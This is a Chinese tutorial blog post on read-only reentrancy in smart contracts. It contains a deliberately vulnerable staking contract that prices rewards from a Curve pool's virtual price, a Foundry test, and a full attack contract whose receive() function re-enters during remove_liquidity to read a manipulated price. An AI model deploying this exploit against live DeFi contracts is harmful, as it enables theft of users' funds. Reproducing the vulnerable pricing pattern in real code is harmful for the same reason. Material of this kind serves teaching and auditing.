智能合约漏洞入门(5) 只读重入漏洞

admin 2024年6月10日22:20:38评论3 views字数 4133阅读13分46秒阅读模式

Name: 只读重入漏洞

Description:只读重入漏洞是智能合约设计中的一个缺陷,允许攻击者利用函数的“只读”特性来对合约状态进行非预期的更改。具体来说,当攻击者使用ICurve合约的remove_liquidity函数触发ExploitContract中的接收函数时,这个漏洞就会产生。这是通过一个安全的智能合约“A”从外部调用攻击者合约中的fallback()函数来实现的。

通过这种利用,攻击者能够在fallback()函数中执行代码,针对与合约“A”间接相关的目标合约“B”。合约“B”从合约“A”派生LP代币的价格,使其容易受到重入攻击的操纵和非预期的价格变动。

Mitigation:避免在设计为只读的函数内进行任何状态更改操作。Makerdao示例:


// 如果在状态修改池函数执行期间被调用,这将回退。
if (nonreentrant) {
uint256[2] calldata amounts;
CurvePoolLike(pool).remove_liquidity(0, amounts);
}

REF

https://chainsecurity.com/heartbreaks-curve-lp-oracles/

https://medium.com/@zokyo.io/read-only-reentrancy-attacks-understanding-the-threat-to-your-smart-contracts-99444c0a7334

VulnContract:

contract VulnContract {
    IERC20 public constant token = IERC20(LP_TOKEN);
    ICurve private constant pool = ICurve(STETH_POOL);

    mapping(address => uint) public balanceOf;

    function stake(uint amountexternal {
        token.transferFrom(msg.sender, address(this), amount);
        balanceOf[msg.sender] += amount;
    }

    function unstake(uint amountexternal {
        balanceOf[msg.sender] -= amount;
        token.transfer(msg.sender, amount);
    }

    function getReward() external view returns (uint{
        //根据池LP代币的当前虚拟价格奖励代币
        uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) /
            1 ether;
        // 省略转移奖励代币的代码
        return reward;
    }
}

如何测试:

forge test --contracts src/test/ReadOnlyReentrancy.sol -vvvv

// 测试VulnContract中只读重入漏洞利用的函数
function testPwn() public {
    // 通过攻击合约向VulnContract质押10个以太币
    hack.stakeTokens{value10 ether}(); 
    // 对VulnContract执行只读重入攻击
    hack.performReadOnlyReentrnacy{value100000 ether}();
}

// 利用VulnContract中只读重入漏洞的攻击合约
contract ExploitContract {
    // 用于与ICurve和IERC20合约交互的接口
    ICurve private constant pool = ICurve(STETH_POOL);
    IERC20 public constant lpToken = IERC20(LP_TOKEN);
    // 要被利用的易受攻击的合约
    VulnContract private immutable target;

    // 构造函数,初始化易受攻击的合约
    constructor(address _target) {
        target = VulnContract(_target);
    }

    // 将LP代币质押到VulnContract的函数
    function stakeTokens() external payable {
        // 要添加到Curve池的流动性金额
        uint[2] memory amounts = [msg.value, 0];
        // 向Curve池添加流动性并收到LP代币作为回报
        uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
        // 在质押到VulnContract后记录LP代币的价格
        console.log(
            "在VulnContract质押后LP代币的价格",
            pool.get_virtual_price()
        );
        // 批准VulnContract代表此合约花费LP代币
        lpToken.approve(address(target), lp);
        // 将LP代币质押到VulnContract
        target.stake(lp);
    }

    // 对VulnContract执行只读重入攻击的函数
    function performReadOnlyReentrnacy() external payable {
        // 要添加到Curve池的流动性金额
        uint[2] memory amounts = [msg.value, 0];
        // 向Curve池添加流动性并收到LP代币作为回报
        uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
        // 在执行remove_liquidity之前记录LP代币的价格
        console.log(
            "remove_liquidity()之前的LP代币价格",
            pool.get_virtual_price()
        );
        // 移除流动性时接收的最小金额
        uint[2] memory min_amounts = [uint(0), uint(0)];
        // 从Curve池移除流动性,这将触发接收函数
        pool.remove_liquidity(lp, min_amounts);
        // 在移除流动性后记录LP代币的价格
        console.log(
            "--------------------------------------------------------------------"
        );
        console.log(
            "remove_liquidity()之后的LP代币价格",
            pool.get_virtual_price()
        );
        // 如果没有调用只读重入,记录从VulnContract接收的奖励金额
        uint reward = target.getReward();
        console.log("如果没有调用只读重入,将获得的奖励: ", reward);
    }

    // 当从Curve池移除流动性时将被触发的fallback函数
    receive() external payable {
        // 在移除流动性期间记录LP代币的价格
        console.log(
            "--------------------------------------------------------------------"
        );
        console.log(
            "在remove_liquidity()期间的LP代币价格",
            pool.get_virtual_price()
        );
        // 如果调用了只读重入,记录从VulnContract接收的奖励金额
        uint reward = target.getReward();
        console.log("如果调用了只读重入,将获得的奖励: ", reward);
    }
}

红框:成功利用,价格被操纵

智能合约漏洞入门(5) 只读重入漏洞
Exploit Successful, Price Manipulated
智能合约漏洞入门(5) 只读重入漏洞
Exploit Successful, Price Manipulated

- END -

原文始发于微信公众号(3072):智能合约漏洞入门(5) 只读重入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月10日22:20:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智能合约漏洞入门(5) 只读重入漏洞https://cn-sec.com/archives/2834783.html

发表评论

匿名网友 填写信息